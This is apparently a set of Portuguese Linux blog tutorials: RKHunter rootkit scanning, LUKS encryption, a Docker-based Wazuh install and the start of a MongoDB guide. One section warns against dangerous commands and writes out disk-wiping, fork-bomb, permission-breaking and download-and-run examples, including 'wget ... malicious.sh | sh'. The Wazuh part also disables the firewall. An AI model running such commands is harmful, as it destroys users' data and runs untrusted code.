Instalação do RKHunter

Passo 1: Atualizar os Repositórios

Antes de instalar qualquer pacote novo, é sempre uma boa prática certificar-se de que os repositórios do sistema estão atualizados. Isso pode ser feito com o comando apt update.

apt update

Passo 2: Instalar o RKHunter

Uma vez que os repositórios estejam atualizados, podemos prosseguir para instalar o RKHunter juntamente com as ferramentas básicas do sistema (coreutils).

apt install coreutils rkhunter -y

Passo 3: Descarregar os Repositórios da Base de Dados do RKHunter

Para que o RKHunter funcione corretamente, precisamos descarregar os dados necessários. Isso pode ser feito com o comando curl.

curl https://rkhunter.sourceforge.net/1.4/mirrors.dat > /var/lib/rkhunter/db/mirrors.dat

Configuração do RKHunter

Problema Comum: Impossibilidade de Atualização

Se tentarmos atualizar o RKHunter imediatamente após a instalação, é provável que encontremos um erro semelhante ao seguinte:

root@host# rkhunter --update
[ Rootkit Hunter version 1.4.6 ]

Checking rkhunter data files...
  Checking file mirrors.dat                                  [ Skipped ]
  Checking file programs_bad.dat                             [ Update failed ]
  Checking file backdoorports.dat                            [ Update failed ]
  Checking file suspscan.dat                                 [ Update failed ]
  Checking file i18n versions                                [ Update failed ]

Please check the log file (/var/log/rkhunter.log)

Solução: Editar o Ficheiro de Configuração

Para resolver este problema, precisamos editar o ficheiro de configuração do RKHunter (/etc/rkhunter.conf). Usaremos vi ou qualquer outro editor de texto que preferirmos.

vi /etc/rkhunter.conf

Dentro do ficheiro, modificamos os seguintes parâmetros:

PKGMGR=DPKG
WEB_CMD=wget
UPDATE_MIRRORS=1
MIRRORS_MODE=0

Atualização do RKHunter

Após realizar estas alterações, podemos tentar atualizar o RKHunter novamente.

rkhunter --update

Se tudo correr bem, deveremos ver uma mensagem indicando que os ficheiros foram atualizados com sucesso.

Verificação da Versão

Podemos verificar que estamos a utilizar a versão mais recente do RKHunter com o seguinte comando:

rkhunter --versioncheck

Realização de uma Varredura do Sistema

Uma vez que o RKHunter esteja configurado e atualizado, podemos proceder a realizar uma varredura completa do sistema.

rkhunter --check

Exemplo de Saída de uma Varredura
Durante a varredura, o RKHunter verificará vários aspetos do sistema, incluindo comandos do sistema, bibliotecas partilhadas e ficheiros suspeitos. Aqui está um exemplo do que poderemos ver:

[ Rootkit Hunter version 1.4.6 ]

Checking system commands...

  Performing 'strings' command checks
    Checking 'strings' command                               [ OK ]

  Performing 'shared libraries' checks
    Checking for preloading variables                        [ None found ]
    Checking for preloaded libraries                         [ None found ]
    Checking LD_LIBRARY_PATH variable                        [ Not found ]

  Performing file properties checks
    Checking for prerequisites                               [ OK ]
    /usr/sbin/adduser                                        [ OK ]
    /usr/sbin/chroot                                         [ OK ]
    /usr/sbin/cron                                           [ OK ]
    /usr/sbin/depmod                                         [ OK ]
    /usr/sbin/fsck                                           [ OK ]
    /usr/sbin/groupadd                                       [ OK ]
    /usr/sbin/groupdel                                       [ OK ]
    /usr/sbin/groupmod                                       [ OK ]
    /usr/sbin/grpck                                          [ OK ]
    /usr/sbin/ifconfig                                       [ OK ]
    /usr/sbin/init                                           [ OK ]
    /usr/sbin/insmod                                         [ OK ]
    /usr/sbin/ip                                             [ OK ]
    /usr/sbin/lsmod                                          [ OK ]
    /usr/sbin/modinfo                                        [ OK ]
    /usr/sbin/modprobe                                       [ OK ]
    /usr/sbin/nologin                                        [ OK ]
    /usr/sbin/pwck                                           [ OK ]
    /usr/sbin/rmmod                                          [ OK ]
    /usr/sbin/route                                          [ OK ]
    /usr/sbin/rsyslogd                                       [ OK ]
    /usr/sbin/runlevel                                       [ OK ]
    /usr/sbin/sshd                                           [ OK ]
    /usr/sbin/sulogin                                        [ OK ]
    /usr/sbin/sysctl                                         [ OK ]
    /usr/sbin/useradd                                        [ OK ]
    /usr/sbin/userdel                                        [ OK ]
    /usr/sbin/usermod                                        [ OK ]
    /usr/sbin/vipw                                           [ OK ]
    /usr/sbin/unhide                                         [ OK ]
    /usr/sbin/unhide-linux                                   [ OK ]
    /usr/sbin/unhide-posix                                   [ OK ]
    /usr/sbin/unhide-tcp                                     [ OK ]
    /usr/bin/awk                                             [ OK ]
    /usr/bin/basename                                        [ OK ]
    /usr/bin/bash                                            [ OK ]
    /usr/bin/cat                                             [ OK ]
    /usr/bin/chattr                                          [ OK ]
    /usr/bin/chmod                                           [ OK ]
    /usr/bin/chown                                           [ OK ]
    /usr/bin/cp                                              [ OK ]
    /usr/bin/curl                                            [ OK ]
    /usr/bin/cut                                             [ OK ]
    /usr/bin/date                                            [ OK ]
    /usr/bin/df                                              [ OK ]
    /usr/bin/diff                                            [ OK ]
    /usr/bin/dirname                                         [ OK ]
    /usr/bin/dmesg                                           [ OK ]
    /usr/bin/dpkg                                            [ OK ]
    /usr/bin/dpkg-query                                      [ OK ]
    /usr/bin/du                                              [ OK ]
    /usr/bin/echo                                            [ OK ]
    /usr/bin/ed                                              [ OK ]
    /usr/bin/egrep                                           [ OK ]
    /usr/bin/env                                             [ OK ]
    /usr/bin/fgrep                                           [ OK ]
    /usr/bin/file                                            [ OK ]
    /usr/bin/find                                            [ OK ]
    /usr/bin/fuser                                           [ OK ]
    /usr/bin/grep                                            [ OK ]
    /usr/bin/groups                                          [ OK ]
    /usr/bin/head                                            [ OK ]
    /usr/bin/id                                              [ OK ]
    /usr/bin/ip                                              [ OK ]
    /usr/bin/ipcs                                            [ OK ]
    /usr/bin/kill                                            [ OK ]
    /usr/bin/killall                                         [ OK ]
    /usr/bin/last                                            [ OK ]
    /usr/bin/lastlog                                         [ OK ]
    /usr/bin/ldd                                             [ OK ]
    /usr/bin/less                                            [ OK ]
    /usr/bin/logger                                          [ OK ]
    /usr/bin/login                                           [ OK ]
    /usr/bin/ls                                              [ OK ]
    /usr/bin/lsattr                                          [ OK ]
    /usr/bin/lsmod                                           [ OK ]
    /usr/bin/lsof                                            [ OK ]
    /usr/bin/mail                                            [ OK ]
    /usr/bin/md5sum                                          [ OK ]
    /usr/bin/mktemp                                          [ OK ]
    /usr/bin/more                                            [ OK ]
    /usr/bin/mount                                           [ OK ]
    /usr/bin/mv                                              [ OK ]
    /usr/bin/netstat                                         [ OK ]
    /usr/bin/newgrp                                          [ OK ]
    /usr/bin/passwd                                          [ OK ]
    /usr/bin/perl                                            [ OK ]
    /usr/bin/pgrep                                           [ OK ]
    /usr/bin/ping                                            [ OK ]
    /usr/bin/pkill                                           [ OK ]
    /usr/bin/ps                                              [ OK ]
    /usr/bin/pstree                                          [ OK ]
    /usr/bin/pwd                                             [ OK ]
    /usr/bin/readlink                                        [ OK ]
    /usr/bin/rkhunter                                        [ OK ]
    /usr/bin/runcon                                          [ OK ]
    /usr/bin/sed                                             [ OK ]
    /usr/bin/sh                                              [ OK ]
    /usr/bin/sha1sum                                         [ OK ]
    /usr/bin/sha224sum                                       [ OK ]
    /usr/bin/sha256sum                                       [ OK ]
    /usr/bin/sha384sum                                       [ OK ]
    /usr/bin/sha512sum                                       [ OK ]
    /usr/bin/size                                            [ OK ]
    /usr/bin/sort                                            [ OK ]
    /usr/bin/ssh                                             [ OK ]
    /usr/bin/stat                                            [ OK ]
    /usr/bin/strace                                          [ OK ]
    /usr/bin/strings                                         [ OK ]
    /usr/bin/su                                              [ OK ]
    /usr/bin/sudo                                            [ OK ]
    /usr/bin/tail                                            [ OK ]
    /usr/bin/telnet                                          [ OK ]
    /usr/bin/test                                            [ OK ]
    /usr/bin/top                                             [ OK ]
    /usr/bin/touch                                           [ OK ]
    /usr/bin/tr                                              [ OK ]
    /usr/bin/uname                                           [ OK ]
    /usr/bin/uniq                                            [ OK ]
    /usr/bin/users                                           [ OK ]
    /usr/bin/vmstat                                          [ OK ]
    /usr/bin/w                                               [ OK ]
    /usr/bin/watch                                           [ OK ]
    /usr/bin/wc                                              [ OK ]
    /usr/bin/wget                                            [ OK ]
    /usr/bin/whatis                                          [ OK ]
    /usr/bin/whereis                                         [ OK ]
    /usr/bin/which                                           [ OK ]
    /usr/bin/who                                             [ OK ]
    /usr/bin/whoami                                          [ OK ]
    /usr/bin/numfmt                                          [ OK ]
    /usr/bin/kmod                                            [ OK ]
    /usr/bin/systemd                                         [ OK ]
    /usr/bin/systemctl                                       [ OK ]
    /usr/bin/gawk                                            [ OK ]
    /usr/bin/bsd-mailx                                       [ OK ]
    /usr/bin/dash                                            [ OK ]
    /usr/bin/x86_64-linux-gnu-size                           [ OK ]
    /usr/bin/x86_64-linux-gnu-strings                        [ OK ]
    /usr/bin/telnet.netkit                                   [ OK ]
    /usr/bin/which.debianutils                               [ OK ]
    /usr/lib/systemd/systemd                                 [ OK ]

[Pressione  para continuar]

...

[Pressione  para continuar]

Resumo das verificações do sistema
==================================

Verificações de propriedades dos ficheiros...
    Ficheiros verificados: 142
    Ficheiros suspeitos: 0

Verificações de rootkits...
    Rootkits verificados: 498
    Rootkits possíveis: 0

Verificações de aplicações...
    Todas as verificações foram omitidas

As verificações do sistema demoraram: 4 minutos e 25 segundos

Todos os resultados foram escritos no ficheiro de log: /var/log/rkhunter.log

Foram encontrados um ou mais avisos durante a verificação do sistema.
Por favor, verifique o ficheiro de log (/var/log/rkhunter.log)

Automatização de Varreduras com Cron

Para garantir que o nosso sistema se mantenha seguro, é uma boa ideia programar varreduras automáticas. Podemos fazer isso editando o ficheiro /etc/crontab para adicionar os trabalhos necessários do cron. Não esqueça de modificar o email de destino para receber os alertas.

vi /etc/crontab

Adicione as seguintes linhas ao ficheiro:

0 3 * * * root /usr/bin/rkhunter --update >> /var/log/rkhunter_update.log 2>&1
0 2 * * * root /usr/bin/rkhunter --cronjob --update --report-warnings-only | mail -s "Varredura Diária do RKHunter" seu-email@example.com

Com isto, configuramos um trabalho cron que atualizará o RKHunter diariamente às 3 da manhã e realizará uma varredura diária às 2 da manhã, enviando um relatório por email apenas se forem encontrados avisos.

La entrada Como Proteger o Seu Sistema Linux: Guia Definitivo para Instalar e Usar o RKHunter se publicó primero en Aprende IT.

Instalação de Ferramentas Necessárias

Antes de mergulharmos no mundo da cifragem com LUKS, é essencial garantir que tens as ferramentas adequadas instaladas no teu sistema. Geralmente, a maioria das distribuições de Linux inclui estas ferramentas de cifragem por padrão, mas é sempre bom verificar.

Podes instalar as ferramentas necessárias utilizando o gestor de pacotes da tua distribuição. Em distribuições baseadas em Debian, como Ubuntu, podes executar o seguinte comando no terminal:

sudo apt install cryptsetup

Se estás a utilizar uma distribuição baseada em Red Hat, como Fedora ou CentOS, podes instalar as ferramentas de cifragem com o seguinte comando:

sudo dnf install cryptsetup

Uma vez que tenhas instalado o cryptsetup, estarás pronto para começar a trabalhar com LUKS.

Criação de um Volume LUKS

O primeiro passo para cifrar uma partição ou disco em Linux é criar um volume LUKS. Este volume atuará como uma camada de cifragem que protegerá os dados armazenados na partição ou disco.

Para criar um volume LUKS, precisarás especificar a partição ou disco que desejas cifrar. Certifica-te de que a partição está desmontada antes de prosseguir. Suponhamos que queremos cifrar a partição /dev/sdb1. O seguinte comando criará um volume LUKS nesta partição:

sudo cryptsetup luksFormat /dev/sdb1

Este comando iniciará o processo de criação do volume LUKS na partição especificada. Serás solicitado a confirmar esta ação, pois o processo apagará todos os dados existentes na partição. Após confirmar, serás solicitado a introduzir uma senha para desbloquear o volume LUKS no futuro. Certifica-te de escolher uma senha segura e recorda-a bem, pois precisarás dela sempre que quiseres aceder aos dados cifrados.

Uma vez concluído o processo, terás um volume LUKS criado na partição especificada, pronto para ser utilizado.

Abertura e Fecho do Volume LUKS

Depois de criar um volume LUKS, o próximo passo é abri-lo para poder aceder aos dados armazenados nele. Para abrir um volume LUKS, precisarás especificar a partição que contém o volume e atribuir-lhe um nome.

sudo cryptsetup luksOpen /dev/sdb1 minha_particao_cifrada

Neste comando, /dev/sdb1 é a partição que contém o volume LUKS, e minha_particao_cifrada é o nome que estamos a atribuir ao volume aberto. Uma vez que executes este comando, serás solicitado a introduzir a senha que especificaste durante a criação do volume LUKS. Após introduzir a senha correta, o volume será aberto e estará pronto para ser utilizado.

Para fechar o volume LUKS e bloquear o acesso aos dados cifrados, podes utilizar o seguinte comando:

sudo cryptsetup luksClose minha_particao_cifrada

Este comando fechará o volume LUKS com o nome especificado (minha_particao_cifrada neste caso), o que impedirá o acesso aos dados armazenados nele até que seja aberto novamente.

Criação de um Sistema de Ficheiros num Volume LUKS

Uma vez que tenhas aberto um volume LUKS, podes criar um sistema de ficheiros nele para começar a armazenar dados de forma segura. Podes utilizar qualquer sistema de ficheiros compatível com Linux, como xfs ou btrfs.

Suponhamos que queremos criar um sistema de ficheiros xfs no volume LUKS aberto (minha_particao_cifrada). O seguinte comando criará um sistema de ficheiros xfs no volume:

sudo mkfs.xfs /dev/mapper/minha_particao_cifrada

Este comando formatará o volume LUKS aberto com um sistema de ficheiros xfs, o que te permitirá começar a armazenar dados nele de forma segura.

Montagem e Desmontagem de um Volume LUKS

Uma vez que tenhas criado um sistema de ficheiros num volume LUKS, podes montá-lo no sistema de ficheiros para aceder aos dados armazenados nele. Para montar um volume LUKS, podes utilizar o seguinte comando:

sudo mount /dev/mapper/minha_particao_cifrada /mnt

Neste comando, /dev/mapper/minha_particao_cifrada é o caminho para o dispositivo de bloco que representa o volume LUKS aberto, e /mnt é o ponto de montagem onde o sistema de ficheiros será montado.

Depois de montar o volume LUKS, podes aceder aos dados armazenados nele como farias com qualquer outro sistema de ficheiros montado em Linux. Quando terminares de trabalhar com os dados, podes desmontar o volume LUKS utilizando o seguinte comando:

sudo umount /mnt

Este comando desmontará o sistema de ficheiros do volume LUKS, o que evitará que acedas aos dados armazenados nele até que seja montado novamente.

Gestão de Volumes LUKS

O LUKS fornece várias ferramentas para gerir volumes, incluindo a capacidade de mudar a senha, adicionar chaves adicionais e fazer backups dos cabeçalhos dos volumes.

Para mudar a senha de um volume LUKS, podes utilizar o seguinte comando:

sudo cryptsetup luksChangeKey /dev/sdb1

Este comando pedirá a senha atual do volume LUKS e depois permitirá introduzir uma nova senha.

Se desejas adicionar uma chave adicional ao volume LUKS, podes utilizar o seguinte comando:

sudo cryptsetup luksAddKey /dev/sdb1

Este comando pedirá a senha atual do volume LUKS e depois permitirá introduzir uma nova chave adicional.

Para fazer um backup do cabeçalho de um volume LUKS, podes utilizar o seguinte comando:

sudo cryptsetup luksHeaderBackup /dev/sdb1 --header-backup-file backup_file

Este comando fará um backup do cabeçalho do volume LUKS para o ficheiro especificado, permitindo restaurá-lo caso o cabeçalho do volume se danifique.

Resumo de Comandos para Criar Volume Cifrado com LUKS

sudo cryptsetup luksFormat /dev/DISCO
sudo cryptsetup luksOpen /dev/DISCO DISCO_DESCIFRADO
sudo mkfs.xfs /dev/mapper/DISCO_DESCIFRADO
sudo mount /dev/mapper/DISCO_DESCIFRADO /caminho_de_montagem

Integração com crypttab e fstab

Uma vez que tenhas cifrado uma partição ou disco utilizando LUKS em Linux, podes querer configurar a abertura automática do contêiner LUKS durante o arranque do sistema e montá-lo num ponto específico do sistema de ficheiros. Isto pode ser conseguido utilizando os ficheiros de configuração crypttab e fstab.

Configuração de crypttab

O ficheiro crypttab é utilizado para configurar o mapeamento automático de dispositivos cifrados durante o processo de arranque do sistema. Podes especificar os dispositivos cifrados e as suas correspondentes chaves de cifragem neste ficheiro.

Para configurar um dispositivo cifrado no crypttab, primeiro precisas conhecer o UUID (Identificador Único Universal) do contêiner LUKS. Podes encontrar o UUID executando o seguinte comando:

sudo cryptsetup luksUUID /dev/sdb1

Uma vez que tenhas o UUID do contêiner LUKS, podes adicionar uma entrada no ficheiro crypttab para configurar o mapeamento automático. Por exemplo, suponhamos que o UUID do contêiner LUKS é 12345678-1234-1234-1234-123456789abc. Podes adicionar a seguinte entrada no ficheiro crypttab:

minha_particao_cifrada UUID=12345678-1234-1234-1234-123456789abc none luks

Também pode ser feito desta forma sem usar o UUID:

minha_particao_cifrada /dev/sdb1 none luks

Nesta entrada, minha_particao_cifrada é o nome que demos ao contêiner LUKS, e UUID=12345678-1234-1234-1234-123456789abc é o UUID do contêiner. A palavra none indica que não é utilizada uma chave pré-compartilhada, e luks especifica que o dispositivo está cifrado com LUKS.

Configuração de fstab

Uma vez que tenhas configurado o mapeamento automático do dispositivo cifrado no crypttab, podes configurar a montagem automática do sistema de ficheiros no fstab. O ficheiro fstab é utilizado para configurar a montagem automática de sistemas de ficheiros durante o arranque do sistema.

Para configurar a montagem automática de um sistema de ficheiros no fstab, primeiro precisas conhecer o ponto de montagem e o tipo de sistema de ficheiros do contêiner LUKS. Suponhamos que o ponto de montagem é /mnt/minha_particao e o sistema de ficheiros é xfs. Podes adicionar uma entrada no ficheiro fstab da seguinte maneira:

/dev/mapper/minha_particao_cifrada /mnt/minha_particao xfs defaults 0 2

Nesta entrada, /dev/mapper/minha_particao_cifrada é o caminho para o dispositivo de bloco que representa o contêiner LUKS aberto, /mnt/minha_particao é o ponto de montagem onde o sistema de ficheiros será montado, xfs é o tipo de sistema de ficheiros, defaults especifica as opções de montagem por defeito, e 0 2 especifica as opções de verificação do sistema de ficheiros.

Recomendações com crypttab

No caso de um servidor, eu não teria o crypttab ativo, ou seja, deixaria a configuração posta mas comentada, tal como com o fstab. Faria as montagens de forma manual após um reinício. Assim evitamos ter de usar ficheiros de chave e prevenir alguns problemas derivados.

La entrada Cifragem de Partições e Discos com LUKS em Linux se publicó primero en Aprende IT.

O que é o Wazuh e Por Que Deve Usá-lo?

O Wazuh é uma plataforma de segurança de código aberto que fornece deteção de intrusões, monitorização de integridade, resposta a incidentes e auditoria de conformidade. A sua versatilidade torna-o ideal tanto para pequenas empresas quanto para grandes corporações. Além disso, sendo de código aberto, o Wazuh é completamente gratuito e permite modificações para atender a quaisquer necessidades específicas.

Preparações Iniciais Antes da Instalação

Antes de mergulhar na instalação do Wazuh, é crucial que prepare o seu sistema. Isso envolve garantir que o sistema operativo esteja atualizado e configurar o ambiente para suportar a instalação do Wazuh através do Docker. Eis como fazer isso:

Primeiro, é necessário desativar o firewall para impedir que interfira no processo de instalação. Para fazer isso, simplesmente execute no terminal:

ufw disable

Este comando desativará o firewall, garantindo que ele não bloqueie nenhuma das conexões necessárias durante a instalação.

Em seguida, deve garantir que todos os pacotes do sistema estejam atualizados e que o git esteja instalado, pois precisará dele para clonar o repositório do Wazuh. Execute:

apt update && apt install git

Com estes comandos, o seu sistema estará atualizado e pronto para a próxima fase.

Instalando o Docker

O Wazuh no Docker simplifica a gestão de dependências e garante que a plataforma possa funcionar de forma isolada e segura. Para instalar o Docker, pode usar o script fornecido pelo Docker, que configura tudo automaticamente:

curl -sSL https://get.docker.com/ | sh

Uma vez instalado o Docker, é essencial garantir que ele seja executado automaticamente na inicialização do sistema:

systemctl start docker
systemctl enable docker

Estes comandos iniciarão o serviço Docker e configurá-lo-ão para iniciar automaticamente a cada arranque do sistema.

Docker Compose

Se instalar o Docker conforme indicado anteriormente, não precisa instalar esta ferramenta, mas se já tem o Docker e ele não suporta “docker compose”, pode instalar o docker-compose assim:

curl -L "https://github.com/docker/compose/releases/download/v2.12.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
chmod +x /usr/local/bin/docker-compose

Os comandos seguintes que têm “docker compose” devem ser executados como docker-compose.

Configurando o Ambiente Wazuh

Com o Docker já configurado, o próximo passo é preparar o ambiente específico para o Wazuh. Dirija-se ao diretório ótimo para manter organizados os ficheiros relacionados à segurança:

cd /opt

Agora, é hora de clonar a versão mais recente do repositório Wazuh para Docker:

git clone https://github.com/wazuh/wazuh-docker.git -b v4.7.3

Este comando baixa todos os ficheiros necessários para executar o Wazuh num contêiner Docker.

Gerando Certificados e Iniciando o Wazuh

Antes de iniciar o Wazuh, deve gerar os certificados necessários para o bom funcionamento dos componentes do Wazuh. Navegue até o diretório correto e execute o gerador de certificados:

cd wazuh-docker/single-node/
docker compose -f generate-indexer-certs.yml run --rm generator

Com os certificados gerados, agora está pronto para iniciar todos os serviços Wazuh:

docker compose up -d

Este último comando levanta todos os contêineres necessários para o Wazuh operar corretamente num modo de único nó, ideal para ambientes de teste ou implementações pequenas.

Verificação da Instalação

Uma vez concluídos todos os passos anteriores, é importante verificar que tudo está a funcionar conforme esperado. Pode verificar o estado dos contêineres Docker para garantir que todos os serviços Wazuh estão ativos e a funcionar. Além disso, aceda à interface web do Wazuh para começar a explorar as funcionalidades e configurações disponíveis.

Personalização e Monitorização

Com o seu servidor Wazuh agora operacional, o próximo passo é personalizar a configuração para adaptá-la às suas necessidades específicas. O Wazuh oferece uma grande variedade de opções para configurar regras, alertas e respostas automáticas a incidentes. Aproveite a documentação disponível para explorar todas as possibilidades que o Wazuh oferece.

Instalar e configurar o seu próprio servidor Wazuh pode parecer uma tarefa complexa, mas seguindo estes passos, terá um sistema robusto de segurança informática sem necessidade de grandes investimentos. Não só melhorará a segurança da sua informação, mas também lhe fornecerá uma ferramenta poderosa para monitorizar e responder proativamente a qualquer incidente.

Mudança de Senha do Wazuh

Pare o serviço usando o Docker Compose:

docker compose down

Gerar o hash da nova senha usando o contêiner Wazuh:

Execute o seguinte comando para iniciar o script de hash:

docker run --rm -ti wazuh/wazuh-indexer:4.6.0 bash /usr/share/wazuh-indexer/plugins/opensearch-security/tools/hash.sh

Digite a nova senha quando solicitado e copie o hash gerado.

Atualize o ficheiro de utilizadores internos com o hash da nova senha:

Abra o ficheiro com um editor de texto como o vim:

vim config/wazuh_indexer/internal_users.yml

Cole o hash gerado para o utilizador admin.

Atualize o ficheiro docker-compose.yml com a nova senha:

Abra o ficheiro docker-compose.yml:

vim docker-compose.yml

Digite a nova senha nas linhas 24 e 81 onde diz INDEXER_PASSWORD.

Levante os serviços novamente com o Docker Compose:

docker compose up -d

Isso reinicia a pilha de serviços.

Acesse o contêiner e execute o script de segurança:

Acesse o contêiner:

docker exec -it single-node-wazuh.indexer-1 bash

Defina as variáveis e execute o script de segurança:

export INSTALLATION_DIR=/usr/share/wazuh-indexer
CACERT=$INSTALLATION_DIR/certs/root-ca.pem
KEY=$INSTALLATION_DIR/certs/admin-key.pem
CERT=$INSTALLATION_DIR/certs/admin.pem
export JAVA_HOME=/usr/share/wazuh-indexer/jdk
bash /usr/share/wazuh-indexer/plugins/opensearch-security/tools/securityadmin.sh -cd /usr/share/wazuh-indexer/opensearch-security/ -nhnv -cacert $CACERT -cert $CERT -key $KEY -p 9200 -icl

Saia do contêiner:

exit

Este processo permite-lhe atualizar a senha do admin para o Wazuh usando o Docker, assegurando que segue todos os passos corretamente para garantir que as alterações sejam eficazes.

La entrada Instale o Seu Próprio Servidor Wazuh no Ubuntu se publicó primero en Aprende IT.

O Devastador rm -rf /

Começamos com o infame comando rm -rf /, uma sentença que parece simples mas esconde um potencial destrutivo. Este comando apaga todos os ficheiros do sistema, começando pela raiz (/). O modificador -r indica que a eliminação deve ser recursiva, ou seja, afetar todos os ficheiros e diretórios contidos no diretório especificado, enquanto -f força a eliminação sem pedir confirmação. Executar este comando como superusuário significa dizer adeus ao seu sistema operativo, aos seus dados e a qualquer esperança de recuperação fácil.

Em resumo, é preciso ter cuidado ao executar comandos rm recursivos, pois podemos eliminar mais do que queremos:

• rm -fr *
• rm -fr */
• rm -fr /*
• rm -fr .
• rm -fr ..

A Armadilha de :(){ :|: & };:

Este comando enigmático é um exemplo de uma função fork bomb. Define-se uma função chamada : que, quando executada, chama-se a si mesma duas vezes, e cada chamada é executada em background. Isso causa uma reação em cadeia, duplicando processos indefinidamente e consumindo os recursos do sistema até que este trave. É um ataque de negação de serviço contra a sua própria máquina, levando ao limite a capacidade de processamento e memória.

Para entender melhor, :(){ :|: & };: é o mesmo que executar:

bomb() {
    bomb | bomb &;
}; bomb

O Perigo de dd if=/dev/zero of=/dev/sda

O comando dd é uma ferramenta poderosa usada para converter e copiar ficheiros a nível de bloco. Neste contexto, if=/dev/zero define a entrada para um fluxo contínuo de zeros, e of=/dev/sda designa o dispositivo de destino, geralmente o disco rígido principal. Este comando sobrescreve todo o disco com zeros, apagando irreversivelmente o sistema operativo, os programas e os dados do utilizador. É essencial compreender a função de cada parte do comando antes de executar algo tão poderoso como dd.

Descarregar e Executar um Ficheiro Malicioso

Por exemplo, o comando wget http://exemplo.com/malicioso.sh -O- | sh

Este comando utiliza wget para descarregar um script de um endereço da Internet e executa-o diretamente na shell com sh. O perigo reside em executar código sem rever, proveniente de uma fonte não confiável. Pode tratar-se de um script malicioso desenhado para danificar o seu sistema ou comprometer a sua segurança. É sempre vital verificar o conteúdo dos scripts antes de executá-los.

Modificação Perigosa de Permissões e Propriedades

A modificação de permissões com, por exemplo, chmod 777 / -R pode deixar o seu sistema inutilizável.
chmod altera as permissões de ficheiros e diretórios, e 777 concede permissões totais (leitura, escrita e execução) a todos os utilizadores. Aplicar isto de forma recursiva (-R) à raiz (/) elimina qualquer forma de controlo de acesso, expondo o sistema a riscos de segurança graves. Qualquer utilizador poderia modificar qualquer ficheiro, com potenciais consequências desastrosas.

O Comando chown nobody:nogroup / -R

Semelhante ao caso anterior, chown altera o proprietário e o grupo de ficheiros e diretórios. Usar nobody:nogroup atribui a propriedade a um utilizador e grupo sem privilégios, aplicado de forma recursiva a partir da raiz, pode deixar o sistema num estado inoperável, uma vez que os serviços e processos críticos poderiam perder o acesso aos ficheiros necessários para o seu funcionamento.

O Misterioso mv /home/o_seu_usuario/* /dev/null

Mover ficheiros para o diretório /dev/null é equivalente a eliminá-los, pois /dev/null é um buraco negro no sistema que descarta tudo o que recebe. Este comando, aplicado ao diretório do utilizador, pode resultar na perda de todos os dados pessoais, configurações e ficheiros importantes armazenados no seu home.

O Perigoso find

O comando find pode ser muito perigoso, por exemplo, se executarmos o seguinte comando:

find / -name '*.jpg' -type f -delete

O que acontece é que find é uma ferramenta versátil para procurar ficheiros no sistema de ficheiros que cumpram com certos critérios. Este comando procura todos os ficheiros .jpg no sistema e elimina-os. Embora possa parecer útil para libertar espaço, eliminar indiscriminadamente ficheiros baseando-se apenas na sua extensão pode resultar na perda de documentos importantes, memórias e recursos.

Causar um Kernel Panic

O seguinte comando é capaz de causar um kernel panic:

echo 1 > /proc/sys/kernel/panic;

Provocar um erro de Kernel Panic no Linux é comparável à temida tela azul da morte no Windows, desmistificando a crença de que o Linux é infalível. Através de certos comandos, como redirecionar dados aleatórios para dispositivos críticos do sistema ou manipular diretamente a memória, pode forçar o Linux a entrar num estado de pânico do kernel, tornando o sistema irrecuperável sem um reinício. Estes comandos são altamente arriscados e podem resultar na perda de dados ou na corrupção do sistema.

Sobrescrever o Disco de Sistema com a Saída de um Comando

Sobrescrever o disco rígido no Linux, usando comandos que redirecionam a saída de qualquer comando Bash diretamente para um dispositivo de disco (/dev/hda), pode resultar na perda total de dados. Este processo é irreversível e difere da formatação, pois implica escrever dados brutos sobre toda a unidade, tornando-a inutilizável. É uma ação altamente perigosa sem benefício prático na maioria dos contextos.

Um exemplo disto seria:

comando1 > /dev/sda1

Proteja o Seu Sistema, Proteja a Sua Paz de Espírito

Explorar e experimentar com o Linux pode ser uma experiência recompensadora e educativa. No entanto, é crucial fazê-lo com conhecimento e precaução. Os comandos discutidos aqui representam apenas uma fração do que é possível (e potencialmente perigoso) no terminal. A regra de ouro é simples: se não tem a certeza do que um comando faz, investigue antes de executá-lo. Proteger o seu sistema é proteger o seu trabalho, as suas memórias e, em última análise, a sua paz de espírito.

La entrada Comandos que não devem ser executados no Linux se publicó primero en Aprende IT.

O Que é o MongoDB?

O MongoDB é um sistema de base de dados NoSQL, orientado a documentos e de código aberto, que ganhou popularidade devido à sua capacidade de manusear grandes volumes de dados de forma eficiente. Em vez de tabelas, como nas bases de dados relacionais, o MongoDB utiliza coleções e documentos. Um documento é um conjunto de pares chave-valor, que no mundo do MongoDB é representado num formato chamado BSON (uma versão binária de JSON). Esta estrutura torna-o muito flexível e fácil de escalar, o que o torna especialmente adequado para aplicações web modernas e o manuseio de dados em formato JSON, comum no desenvolvimento de aplicações web e móveis.

A Diferença Entre SQL e NoSQL

Para entender melhor o MongoDB, é crucial diferenciar entre as bases de dados SQL e NoSQL. As bases de dados SQL (como MySQL, PostgreSQL ou Microsoft SQL Server) utilizam uma linguagem de consulta estruturada (SQL) e baseiam-se num esquema de dados predefinido. Isso significa que precisas saber antecipadamente como os teus dados serão estruturados e aderir a essa estrutura, o que oferece um alto grau de consistência e transações ACID (Atomicidade, Consistência, Isolamento e Durabilidade).
Por outro lado, as bases de dados NoSQL, como o MongoDB, são esquematicamente dinâmicas, permitindo-te guardar documentos sem ter que definir a sua estrutura antecipadamente. São ideais para dados não estruturados ou semi-estruturados e oferecem uma escalabilidade horizontal, o que significa que podes adicionar mais servidores facilmente para lidar com mais carga.

Instalação do MongoDB no Ubuntu

Colocar o MongoDB em funcionamento no teu sistema Ubuntu é um processo bastante simples, mas requer seguir alguns passos com atenção. Aqui explico-te como fazer:

Atualização do Sistema

Antes de instalar qualquer pacote novo, é sempre uma boa prática atualizar a lista de pacotes e as versões de software do teu sistema operativo com os seguintes comandos:

sudo apt update
sudo apt upgrade

Instalação do Pacote do MongoDB

O Ubuntu tem o MongoDB nos seus repositórios predefinidos, mas para te certificares de obter a última versão, é recomendável usar o repositório oficial do MongoDB. Aqui mostro-te como configurá-lo e realizar a instalação:

sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv E52529D4
echo "deb [ arch=amd64,arm64 ] http://repo.mongodb.org/apt/ubuntu $(lsb_release -cs)/mongodb-org/4.4 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-4.4.list
sudo apt update
sudo apt install -y mongodb-org

Colocar o MongoDB em Funcionamento

Uma vez instalado, podes iniciar o servidor do MongoDB com o seguinte comando:

sudo systemctl start mongod

Se além disso quiseres que o MongoDB inicie automaticamente com o sistema, executa:

sudo systemctl enable mongod

Verificação da Instalação

Para verificar que o MongoDB está instalado e a funcionar corretamente, usa:

